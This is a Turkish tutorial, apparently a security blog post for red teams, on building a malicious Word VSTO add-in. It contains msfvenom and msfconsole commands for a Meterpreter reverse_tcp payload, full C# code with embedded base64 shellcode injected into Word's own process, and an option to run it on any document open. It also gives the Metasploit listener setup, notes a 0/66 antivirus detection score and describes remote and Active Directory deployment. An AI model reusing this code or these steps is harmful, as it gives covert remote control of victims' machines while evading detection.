Red Team Ekipleri için Zararlı Ofis Eklentisi Geliştirme
Microsoft Office uygulamaları Windows işletim sistemi kullanan birçok istemci bilgisayarda bulunur. Bu sebeple Office uygulamaları saldırganlar tarafından çok defa kullanılmıştır. Özellikle Office uygulamaları için “Macro” zararlılarını sıkla görmekteyiz.
Bu yazımda Microsoft Office uygulamaları (özellikle Word, Excel, Outlook ve Powerpoint) için zararlı eklenti geliştirmeyi işleyeceğiz. Microsoft Office uygulamaları için Visual Studio 2017 kullanarak, zararlı eklenti (.vsto) geliştirebiliriz.
Github: https://github.com/mindspoof/SintinePowerWord
Visual Studio 2017’yi açarak, Create Project\”Office/SharePoint”\Word 2013 and 2016 VSTO Add-in’i tıklayarak, yeni bir Word eklentisi oluşturalım.
Eğer Visual Studio 2017’de yukarıdaki gibi “Office/SharePoint” kısmını göremiyorsanız, Project kısmının altında yer alan “Open Visual Studio Installer” linkine tıklayın.
Visual Studio Installer’da bulunan “Office/SharePoint development”ı işaretleyerek, “Modify” butonuna tıklayalım ve kurulumun bitmesini tamamlayalım. Bu kurulumla birlikte Ofis uygulamaları için Add-in geliştirebiliriz.
Projemizi oluşturduktan sonra “Solution Explorer” menüsünde bulunan “SintinePowerWord”e sağ tıklayarak, “Add\New Item” menüsünü tıklayalım.
Ribbon (Visual Degisner)’ı tıklayıp isim olarak “SintinePowerRibbon.cs” adında bir “ribbon” menü oluşturuyoruz.
Yukarıdaki resimdeki gibi “Ribbon” menüsünü oluşturduk. Otomatik oluşturulan “group1” isimli “GroupBox”ın adını “SintinePower” diye değiştirerek, içerisinde “Start SintinePower” adında bir “Button” kontrolünü ekliyoruz. Meterpreter bağlantısı elde etmek için “SintinePowerRibbon.cs” dosyasına gerekli shellcode’larımızı yazacağız. Ancak öncesinde MSFVenom aracıyla 192.168.228.127 IP adresinin 4444 portuna reverse_tcp türünden bağlantı sağlayacak shellcode’umuzu oluşturacağız.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.228.127 LPORT=4444 -f csharp --platform windows -o /root/Desktop/rev_tcp_shellcode.txt
CSharp uyumlu shellcode’umuzu MSFVenom aracılığıyla yukarıdaki gibi oluşturabiliriz. İşlemci mimarisi seçmediğimiz için klasik x64/meterpreter/reverse_tcp payload’u 64 bit olarak oluşturulacaktır ve oluşturulan shellcode 510 byte boyutunda olacaktır.
Dip Not: Oluşturduğumuz shellcode’un 246, 247, 248 ve 249’uncu byte değerleri (0xc0,0xa8,0xe4,0x7f) 192.168.228.127 IP adresine ve 244,245’inci byte değerleri ise (0x11,0x5c) 4444 portlarına denk gelecektir. Shellcode için port hesaplanırken formülümüz şu şekilde olacaktır. İlk byte=Seçilen port/256, İkinci byte=Seçilen Port – (ilk port * 256) şeklinde hesaplanır. Örnekleyecek olursam eğer 183 (ilk byte) = 4444/256, 184 (ikinci byte) = 4444 – (17*256) olacaktır. Bu hesaplama ile seçilen 4444 portu 17 ve 92 sayılarından oluşacaktır. Her iki sayının da hex değerlerini aldığımızda 17 değeri 0x11’e ve 92 değeri de 0x5c’ye denk gelecektir.
msfconsole -q
use payload/windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.228.127
set LPORT 4444
generate -t csharp -p windows -f /root/Desktop/rev_tcp_shellcode.txt
Eğer msfconsole üzerinden shellcode oluşturmak istersek de yukarıdaki kodu kullanabiliriz. Ancak msfconsole aracılığıyla üreteceğimiz 64 bitlik shellcode ise 449 byte uzunluğunda olacaktır. 192.168.228.127 IP adresi 246,247,248 ve 249’uncu byte’lara denk gelecektir. Port ise 244 ve 245’inci byte’lara denk gelmektedir.
Dip Not 2: Klasik C# shellcode’u çalıştırmak için VirtualAlloc, Marshal.Copy ve CreateThread fonksiyonlarını kullanıyoruz. Ancak bu fonksiyonları Ofis Add-in’leri geliştirirken kullandığımızda “System.AccessViolationException” hatası fırlatılacak ve “Korumalı Bellek alanına herhangi bir şey yazamayacağımız” bildirilecektir. Bu hatadan dolayı shellcode’umuzu bellek alanına yazdırıp, çalıştıramayacağız. Hatayı aşmak için VirtualAllocEx, WriteProcessMemory ve CreateRemoteThread fonksiyolanlarını kullandım.
byte[] buf = new byte[449]
{ 0xfc, 0x48, 0x83…0x41, 0xff, 0xe7};
var strShellCode = Convert.ToBase64String(buf);
Shellcode’umuzu uygulama içerisinde byte dizisi olarak tanımlayı pek doğru bulmuyorum. Küçük bir console uygulaması yazıyoruz. “buf” adındaki byte array’i Base64 ile encode etmek için strShellCode adında bir değişken tanımlayıp, buf isimli byte array’i Base64’e çeviriyoruz. Artık elimizde shellcode’umuzun Base64 stringi bulunuyor. Bundan sonra meterpreter kullanacak eklentimizi kodlamaya geçebiliriz.
[Flags]
public enum ProcessAccessFlags : uint
{
Terminate = 0x00000001,
CreateThread = 0x00000002,
VMOperation = 0x00000008,
VMRead = 0x00000010,
VMWrite = 0x00000020,
DupHandle = 0x00000040,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
Synchronize = 0x00100000,
All = 0x001F0FFF
}
[Flags]
public enum AllocationType
{
Commit = 0x00001000,
Reserve = 0x00002000,
Decommit = 0x00004000,
Release = 0x00008000,
Reset = 0x00080000,
TopDown = 0x00100000,
WriteWatch = 0x00200000,
Physical = 0x00400000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection
{
NoAccess = 0x0001,
ReadOnly = 0x0002,
ReadWrite = 0x0004,
WriteCopy = 0x0008,
Execute = 0x0010,
ExecuteRead = 0x0020,
ExecuteReadWrite = 0x0040,
ExecuteWriteCopy = 0x0080,
GuardModifierflag = 0x0100,
NoCacheModifierflag = 0x0200,
WriteCombineModifierflag = 0x0400
}
Öncelikle SintinePowerRibbon.cs’in Global’inde yukarıdaki gibi “flag”lerimizi tanımlıyoruz.
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(ProcessAccessFlags flgAccessFlag, bool inheritHandle, int processId);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr procHandle, IntPtr lpAddress, uint dwSize, AllocationType flgAllocationType, MemoryProtection flgProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr procHandle, IntPtr vAllocAddress, byte[] shellCodeBuffer, uint shellCodeLength, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr procHandle, IntPtr threadAttributes, uint stackSize, IntPtr vAlloc, IntPtr parameter, uint creationFlags, out uint threadId);
Ardından VirtualAllocEx, WriteProcessMemory ve CreateRemoteThread isimli API fonksiyonlarımızı yukarıdaki gibi tanımlıyoruz.
OpenProcess: Bir işlem nesnesi oluşturmamızı sağlar. 3 adet parametre alır. Bunlar DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId’dir. dwDesiredAccess, işlem nesnesine erişimi belirtir. ProcessAccessFlags’de belirlenen parametrelerden biri bu değişken için kullanılır. bInheritHandle, true yada false değeri alır. Değer true ise işlem tarafından oluşturulan süreçler miras alınabilir. dwProcessId, oluşturulan yerel işlemin id’sini tanımlamak için kullanılır.
VirtualAllocEx: Shellcode’un boyutu kadar, işlem hafıza alanında yer açmak ve erişim tanımlamak için kullanılır. 5 parametreden oluşur.
LPVOID WINAPI VirtualAllocEx(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
hProcess: OpenProcess ile açılan işlemin sanal adresini belirtir.
lpAddress: Tahsis edilen alan için başlangıç adresi belirtir.
dwSize: Ayrılacak hafıza alanını belirtir. Shellcode’umuzun boyutu kadardır.
flAllocationType: Hafıza alanının ayrılma türünü belirler. AllocationType’da belirlediğimiz değerlerden birini kullanabilir. Bu değer MEM_COMMIT, MEM_REVERSE veya MEM_RESET gibi parametrelerden birini kullanmak zorundadır.
flProtect: Tahsis edilen hafıza alanındaki bellek korumasını belirtir. MemoryProtection’da tanımladığımız koruma türlerinden birini kullanır.
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);
WriteProcessMemory: Shellcode’umuzun hafıza alanına yazılmasını sağlayan fonksiyondur. Bu fonksiyon 5 parametre ile çalışır.
hProcess: İşlem belleği adresini belirtir.
lpBaseAddress: Verileri yazdığımız temel işaretçi (VirtualAllocEx) adresini belirtir.
lpBuffer: Hafıza alanına yazdıracağımız Shellcode’umuzu belirtir.
nSize: Hafıza alanına yazdıracağımız shellcode’umuzun boyutunu belirtmek için kullanılır.
lpNumberOfBytesWritten: Bu parametre isteğe bağlıdır. Aktarılan byte sayısı için işaretçi tanımlar.
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
CreateRemoteThread: Başka bir işlemin hafıza alanında iş parçacığı (thread) oluşturmak için kullanılır. 7 parametre alır.
hProcess: İş parçacığının hangi işlemde oluşturulacağını belirtir.
lpThreadAttributes: Yeni oluşturulan iş parçacığı için bir güvenlik tanımlayıcısı belirtir ve alt işlemlerin iade edilen tanıtıcıyı devalıp alamayacağını belirtir.
dwStackSize: Shellcode’un başlangıç değerini belirtir. Değer 0 ise iş parçacığının varsayılan boyutunu kullanır.
lpStartAddress: İş parçacığının başlangıç adresini temsil eder. Bu adres VirtualAllocEx ile elde ettiğimiz adrestir.
lpParameter: İş parçacığına geçirilecek olan değişken için işaretçi belirtir.
dwCreationFlags: İş parçacığının oluşturulmasını kontrol eden bayrakları belirtir. Değer 0 ise iş parçacığı oluşturulduktan hemen sonra başlar. 0x00000004 kullanılırsa, iş parçacığı askıya alınmış (suspend) durumda başlar ve “ResumeThread” işlevi çağrılıncaya kadar herhangi bir işlem yapmaz.
lpThreadId: Oluşturulan iş parçacığı için işaretçi belirtir.
Bu tanımlamaların ardından artık shellcode’u çalıştırarak, Meterpreter bağlantısı gönderecek metodumuzu geliştirebiliriz. SintinePowerRibbon.cs dosyasında “RunMeterpreter” adında ve string türden ip ve port değişkenlerine sahip bir metod oluşturuyoruz.
public static void RunMeterpreter(string ip, string port)
{
try
{
var ipOctetSplit = ip.Split('.');
var octByte1 = Convert.ToByte(ipOctetSplit[0]);
var octByte2 = Convert.ToByte(ipOctetSplit[1]);
var octByte3 = Convert.ToByte(ipOctetSplit[2]);
var octByte4 = Convert.ToByte(ipOctetSplit[3]);
var inputPort = int.Parse(port);
byte port1Byte = 0x00;
byte port2Byte = 0x00;
byte[] shellCodePacket = new byte[9];
shellCodePacket[0] = 0x00;
if (inputPort > 256)
{
var portOct1 = inputPort / 256;
var portOct2 = portOct1 * 256;
var portOct3 = inputPort - portOct2;
var portoct1Calc = portOct1 * 256 + portOct3;
if (inputPort == portoct1Calc)
{
port1Byte = Convert.ToByte(portOct1);
port2Byte = Convert.ToByte(portOct3);
shellCodePacket[1] = port1Byte;
shellCodePacket[2] = port2Byte;
}
}
else
{
shellCodePacket[1] = port1Byte;
shellCodePacket[2] = Convert.ToByte(inputPort);
}
shellCodePacket[3] = octByte1;
shellCodePacket[4] = octByte2;
shellCodePacket[5] = octByte3;
shellCodePacket[6] = octByte4;
shellCodePacket[7] = 0x41;
shellCodePacket[8] = 0x54;
const string shellCodeRaw = "/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSIty" +
"UEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCL" +
"QjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhE" +
"i0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXx" +
"TANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB" +
"0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11J" +
"vndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFcwKjkf0FU" +
"SYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5Q" +
"UE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ" +
"4kiJ+UG6maV0Yf/VhcB0DEn/znXlaPC1olb/1UiD7BBIieJN" +
"MclqBEFYSIn5QboC2chf/9VIg8QgXon2akBBWWgAEAAAQVhI" +
"ifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnI" +
"X//VSAHDSCnGSIX2deFB/+c=";
var s3 = Convert.ToBase64String(shellCodePacket);
var newShellCode = shellCodeRaw.Replace("ABFcwKjkf0FU", s3);
byte[] shellCodeBase64 = Convert.FromBase64String(newShellCode);
var currentProcess = Process.GetCurrentProcess();
var processId = currentProcess.Id;
IntPtr procHandle = OpenProcess(ProcessAccessFlags.All, false, processId);
IntPtr vAlloc = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellCodeBase64.Length, AllocationType.Commit, MemoryProtection.ExecuteReadWrite);
UIntPtr bytesWritten = UIntPtr.Zero;
WriteProcessMemory(procHandle, vAlloc, shellCodeBase64, (uint) shellCodeBase64.Length, out bytesWritten);
uint threadId = 0;
IntPtr remThread = CreateRemoteThread(procHandle, IntPtr.Zero, 0, vAlloc, IntPtr.Zero, 0, out threadId);
return;
}
catch (Exception e)
{
Console.WriteLine(e);
throw;
}
}
RunMeterpreter metodumuzu yukarıdaki gibi tanımlıyoruz. Gelen ip ve port bilgilerini alarak shellcode’umuzda dinamik bir şekilde değişiklik gerçekleştiriyoruz. Daha önce Base64 kullanarak encode ettiğimiz shellcode’umuzda her ip ve port değişikliğini yakalamak için bir değişken tanımladım. Msfconsole kullanarak oluşturduğum shellcode’un 449 byte uzunluğunda olduğunu söylemiştim. Shellcode’un Base64 ile encode edilmiş halinde ip ve port ve ofset değerlerine denk gelen değerim “ABFcwKjkf0FU” olacaktır.
IP ve port bilgileri değiştiğinde 12 karakterlik bir byte array oluşturup, bu byte array’i Base64 ile encode ederek, shellcode’da bulunan 12 karakteri değiştiğimde shellcode’um bozulmadan ip ve port bilgilerini değiştirebilirim. Daha sonra “shellCodeBase64” adında bir byte array oluşturarak, Base64 ile encode edilmiş olan shellcode’u çalışma anında decode ederek, byte array’e dolduruyoruz.
“currentProcess” adında bir değişken oluşturarak, mevcut işlemin bilgilerini bu değişkene doldurdum. Ardından “processId” adında bir değişken oluşturup, “currentProcess” değişkeni içerisinde bulunan process bilgilerinden process’in id’sini elde ediyoruz. OpenProcess fonksiyonunu kullandığımızda bu process id’sine ihtiyaç duyuyoruz. Çünkü shellcode’u mevcut Word process’inin hafıza alanına yazdıracağız.
OpenProcess, VirtualAllocEx ve WriteProcessMemory API’lerine ve genel özelliklerine yukarıda değindim.
private void btnStartSintinePower_Click(object sender, RibbonControlEventArgs e)
{
Task.Factory.StartNew(() => RunMeterpreter("192.168.228.127", "4444"));
}
Metodumuzu tanımladıktan sonra, Ribbon’a eklediğimiz butonun Click event’ını yukarıdaki gibi tanımlıyoruz. Böylece butona her tıklandığında yeni bir task (işlem) oluşturacak ve oluşturulan task RunMeterpreter metodunu çağırarak reverse_tcp bağlantısı almamızı sağlayacaktır.
private void SintinePowerRibbon_Load(object sender, RibbonUIEventArgs e)
{
Task.Factory.StartNew(() => RunMeterpreter("192.168.228.127", "4444"));
}
Eğer yukarıdaki gibi SintinePowerRibbon’un Load eventına bu tanımlamayı yaparsak, herhangi bir Word dosyası açıldığında bize meterpreter bağlantısı gönderecektir. Gelen bağlantıyı yakalamak için Metasploit Framework’ü dinleme moduna almamız gerekiyor.
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.228.127
set LPORT 4444
set EXITFUNC thread
set ExitOnSession false
exploit -j
Metasploit’de bir multi/handler oluşturarak gelen bağlantıyı karşılıyoruz.
Önemli Not: EXITFUNC olarak thread’i seçtik. Metasploit’de bulunan payload’ları multi/handler ile kullandığımızda varsayılan “EXITFUNC” (çıkış fonksiyonu, işlemi kapatırken gerçekleştirilecek durum) olarak “process”dir. Eğer bu kısmı değiştirmezsek, meterpreter bağlantısı elde ettikten sonra session’dan çıkış yaparsak, hedefte Word’ün kapanmasına neden olacaktır. Sadece oluşturduğumuz işlem parçacığını sonlandırıp, Word’ün çalışmasına devam etmesini istiyorsak EXITFUNC’ı “thread” olarak ayarlamamız gerekiyor.
https://www.virustotal.com/#/file/f96ec1e7bb5cc6980148df2ca78d6681392f565346007a4004aa3111e33a749b
Derlediğim SintinePowerWord.dll dosyasını VirusTotal’e gönderdim ve sonuçlar yukarıda görüldüğü gibi 0/66’dır. Halbuki zararlı olduğunu hepimiz biliyoruz.
Microsoft Office Add-in’lerini derlediğimizde “.vsto” ve “.dll” dosyasının “Debug” dizininde oluşturulduğunu görebiliriz. VSTO dosyaları Ofis eklentilerini yüklemek için geliştirilen yardımcı araçlardan biridir. Ancak ne var ki eklentiyi Word’e yüklemek için derlemiş olduğumuz dizinde bulunan “SintinePowerWord.vsto” dosyasını çalıştırarak yükleyebiliriz.
Önemli Not 2: Eğer derleme işlemi gerçekleştirilmezse, “Solution Explorer”da projeye sağ tıklayıp özelliklerine erişin. Build menüsünde “Allow unsafe code”u işaretleyerek yeniden derleyebilirsiniz. Özetle, derlemenin tek yolu da bu diyebiliriz. Aksi halde Visual Stuido derlemeye izin vermeyecektir.
VSTO dosyasını çift tıklayıp çalıştırdığımızda, geliştirdiğimiz zararlı eklenti otomatik olarak yüklenecektir. VSTO Installer aracı “C:\Users\<username>\AppData\Local\assembly\dl3” dizininde bulunan random isimli bir dizine zararlı eklentimizi yükleyecektir. Ayrıca VSTOInstaller.exe aracı “C:\Program Files\Common Files\microsoft shared\VSTO\10.0” dizininde bulunmaktadır.
VSTOInstaller’ı kullanarak, komut arabiriminden de eklentimizi kurabiliriz. Bunun için “VSTOInstaller.exe /install file:///C:/Users/SintinePowerWord.vsto” VSTOInstaller ile uzaktaki bir sistemde bulunan eklentiyi de indirerek kurabiliriz. Örneğin “VSTOInstaller.exe /install https://eyupcelik.com.tr/SintinePowerWord.vsto” şeklinde de eklentiyi kurabiliriz. Fakat uzaktaki bir sistemde bulunan VSTO dosyasını ofis uygulamalarına yükleyebilmek için sitenin “SSL” sertifikasına sahip olması ve bu SSL sertifikasının güvenilir sertifikalar listesinde yer alması gerekmektedir.
Örneğin Active Directory’de bulunan ve daha önce ele geçirilmiş bir sistem üzerinden eklenti dağıtılabilir.
Tüm bu bilgilerin ardından eklentimizi yükledikten sonra çalıştırarak, gelen bağlantıyı inceleyelim.
Meterpreter bağlantımız yukarıdaki gibi geldi. Çalışan process’in id’sini sorduğumda 10952 numaralı process id’den meterpreter bağlantısı elde edildiğini görebiliyoruz. Şimdi Process Hacker aracılığıyla uygulamamızı kontrol edelim.
Yukarıdaki ekranda görüleceği üzere 10952 Process ID’sine sahip WINWORD.EXE 192.168.228.127 IP adresinin 4444 portuna bağlantı gerçekleştirmiştir. Bu process’in modülleri arasında “SintinePowerWord.DLL” dosyasını görebiliriz. Böylelikle Word’ün altında ayrı bir işlem oluşturmadan, Word’ü kullanarak meterpreter bağlantısı elde etmiş olduk.
Bu eklenti Office 365 x64 ve Windows 10 (1803, Build 17134.228)da denenmiştir.
Aynı yöntemi kullanarak diğer Ofis uygulamaları için de eklenti geliştirebiliriz. Aşağıdaki Github bağlantılarında diğer Ofis uygulamaları için Meterpreter eklentileri bulunmaktadır. Yardımları için Muhammet Dilmaç ve Berat Özbay’a teşekkürlerimi borç bilirim.
SintinePowerExcel: https://github.com/mindspoof/SintinePowerExcel
SintinePowerOutlook: https://github.com/mindspoof/SintinePowerOutlook
SintinePowerPoint: https://github.com/mindspoof/SintinePowerPoint
Referanslar:
https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx
https://docs.microsoft.com/tr-tr/windows/desktop/Memory/memory-protection-constants
https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx
https://msdn.microsoft.com/tr-tr/56b5b350-f4b7-47af-b5f8-6a35f32c1009